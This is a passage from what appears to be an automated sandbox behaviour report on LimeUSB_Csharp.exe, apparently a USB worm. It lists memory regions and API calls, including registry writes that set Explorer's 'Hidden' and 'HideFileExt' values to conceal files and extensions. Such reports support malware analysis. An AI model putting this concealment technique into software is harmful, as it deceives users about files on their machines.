end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3896 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3897 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3898 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3899 start_va = 0x7fe91880000 end_va = 0x7fe9188ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91880000" filename = "" Region: id = 3900 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 3901 start_va = 0x7fe918a0000 end_va = 0x7fe9192ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 3902 start_va = 0x7fe91930000 end_va = 0x7fe9199ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91930000" filename = "" Region: id = 3903 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3904 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3905 start_va = 0x28e0000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 3906 start_va = 0x2af0000 end_va = 0x2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3907 start_va = 0x2940000 end_va = 0x2a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 3908 start_va = 0x2a70000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 3909 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3910 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3911 start_va = 0x2ce0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 3912 start_va = 0x1ace0000 end_va = 0x1b05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 3913 start_va = 0x2af0000 end_va = 0x2bf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3914 start_va = 0x2c60000 end_va = 0x2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 3915 start_va = 0x1b240000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 3916 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3917 start_va = 0x1b060000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b060000" filename = "" Region: id = 3918 start_va = 0x1b3c0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 3919 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3920 start_va = 0x1b4c0000 end_va = 0x1b78efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3921 start_va = 0x7feee2e0000 end_va = 0x7feef8dcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3922 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3923 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3924 start_va = 0x7fe919a0000 end_va = 0x7fe91a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919a0000" filename = "" Region: id = 3925 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3926 start_va = 0x130000 end_va = 0x1acfff monitored = 0 entry_point = 0x13cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3927 start_va = 0x130000 end_va = 0x1acfff monitored = 0 entry_point = 0x13cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3928 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3931 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3932 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3933 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3934 start_va = 0x1b790000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b790000" filename = "" Region: id = 3935 start_va = 0x7fe91a20000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a20000" filename = "" Region: id = 3936 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3937 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3938 start_va = 0x7fef0270000 end_va = 0x7fef0edefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3939 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3940 start_va = 0x7feeab80000 end_va = 0x7feebc25fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3941 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3942 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3943 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3944 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3945 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3946 start_va = 0x1b9b0000 end_va = 0x1bc81fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 122 os_tid = 0x3c4 [0222.446] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0226.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x2ae688 | out: phkResult=0x2ae688*=0x1c8) returned 0x0 [0226.368] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x2ae6d8, lpData=0x0, lpcbData=0x2ae6d0*=0x0 | out: lpType=0x2ae6d8*=0x4, lpData=0x0, lpcbData=0x2ae6d0*=0x4) returned 0x0 [0226.369] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x2ae6d8, lpData=0x2ae6b8, lpcbData=0x2ae6d0*=0x4 | out: lpType=0x2ae6d8*=0x4, lpData=0x2ae6b8*=0x2, lpcbData=0x2ae6d0*=0x4) returned 0x0 [0226.394] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x2ae698, lpData=0x0, lpcbData=0x2ae690*=0x0 | out: lpType=0x2ae698*=0x4, lpData=0x0, lpcbData=0x2ae690*=0x4) returned 0x0 [0226.397] RegSetValueExW (in: hKey=0x1c8, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x2ae708*=0x2, cbData=0x4 | out: lpData=0x2ae708*=0x2) returned 0x0 [0226.397] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2ae6d8, lpData=0x0, lpcbData=0x2ae6d0*=0x0 | out: lpType=0x2ae6d8*=0x4, lpData=0x0, lpcbData=0x2ae6d0*=0x4) returned 0x0 [0226.515] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2ae6d8, lpData=0x2ae6b8, lpcbData=0x2ae6d0*=0x4 | out: lpType=0x2ae6d8*=0x4, lpData=0x2ae6b8*=0x1, lpcbData=0x2ae6d0*=0x4) returned 0x0 [0226.516] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2ae698, lpData=0x0, lpcbData=0x2ae690*=0x0 | out: lpType=0x2ae698*=0x4, lpData=0x0, lpcbData=0x2ae690*=0x4) returned 0x0 [0226.516] RegSetValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x2ae708*=0x1, cbData=0x4 | out: lpData=0x2ae708*=0x1) returned 0x0 [0226.521] GetLogicalDrives () returned 0x4 [0226.542] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ad618 | out: phkResult=0x2ad618*=0x0) returned 0x2 [0226.542] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0226.650] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2ae070, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0226.652] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0226.654] CoGetContextToken (in: pToken=0x2af520 | out: pToken=0x2af520) returned 0x0 [0226.655] CObjectContext::QueryInterface () returned 0x0 [0226.655] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.655] Release () returned 0x0 [0226.658] CoGetContextToken (in: pToken=0x2aefc0 | out: pToken=0x2aefc0) returned 0x0 [0226.658] CObjectContext::QueryInterface () returned 0x0 [0226.658] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.658] Release () returned 0x0 [0226.659] CoGetContextToken (in: pToken=0x2aefc0 | out: pToken=0x2aefc0) returned 0x0 [0226.659] CObjectContext::QueryInterface () returned 0x0 [0226.659] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.659] Release () returned 0x0 [0226.664] CoGetContextToken (in: pToken=0x2aefc0 | out: pToken=0x2aefc0) returned 0x0 [0226.664] CObjectContext::QueryInterface () returned 0x0 [0226.664] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.664] Release () returned 0x0 [0226.668] CoGetContextToken (in: pToken=0x2aefe0 | out: pToken=0x2aefe0) returned 0x0 [0226.668] CObjectContext::QueryInterface () returned 0x0 [0226.668] CObjectContext::GetCurrentThreadType () returned 0x0 [0226.668] Release () returned 0x0 [0226.670] CoUninitialize () Thread: id = 124 os_tid = 0x354 Thread: id = 125 os_tid = 0x478 [0224.002] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0226.662] RegCloseKey (hKey=0x1c8) returned 0x0 [0226.663] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 126 os_tid = 0x730 Process: id = "25" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x1bdc000" os_pid = "0x428" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3947 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3948 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3949 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3950 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3951 start_va = 0x330000 end_va = 0xdf3fff monitored = 1 entry_point = 0xdee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3952 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3953 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3954 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3955 start_va = 0x7fffb000 end_va = 0x7fffbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffb000" filename = "" Region: id = 3956 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3957 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3958 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3959 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3960 start_va = 0xe00000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3961 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3962 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3963 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3964 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3965 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3966 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3967 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3968 start_va = 0xfb0000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 3969 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3970 start_va = 0x1130000 end_va = 0x136ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 3971 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3972 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3973 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3974 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3975 start_va = 0xe00000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3976 start_va = 0xf30000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 3977 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3978 start_va = 0xf00000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 3979 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3980 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3981 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3982 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3983 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3984 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3985 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3986 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3987 start_va = 0x1130000 end_va = 0x12b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001130000" filename = "" Region: id = 3988 start_va = 0x12f0000 end_va = 0x136ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 3989 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3990 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3991 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3992 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3993 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3994 start_va = 0x1370000 end_va = 0x14f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001370000" filename = "" Region: id = 3995 start_va = 0x1500000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001500000" filename = "" Region: id = 3996 start_va = 0x2900000 end_va = 0x33bcfff monitored = 1 entry_point = 0x33be3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3997 start_va = 0x2900000 end_va = 0x33bcfff monitored = 1 entry_point = 0x33be3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3998 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3999 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4000 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4001 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4002 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 4003 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 4004 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4005 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4006 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4007 start_va = 0x7fe91880000 end_va = 0x7fe9188ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91880000" filename = "" Region: id = 4008 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 4009 start_va = 0x7fe918a0000 end_va = 0x7fe9192ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 4010 start_va = 0x7fe91930000 end_va = 0x7fe9199ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91930000" filename = "" Region: id = 4011 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 4012 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4013 start_va = 0xfb0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = 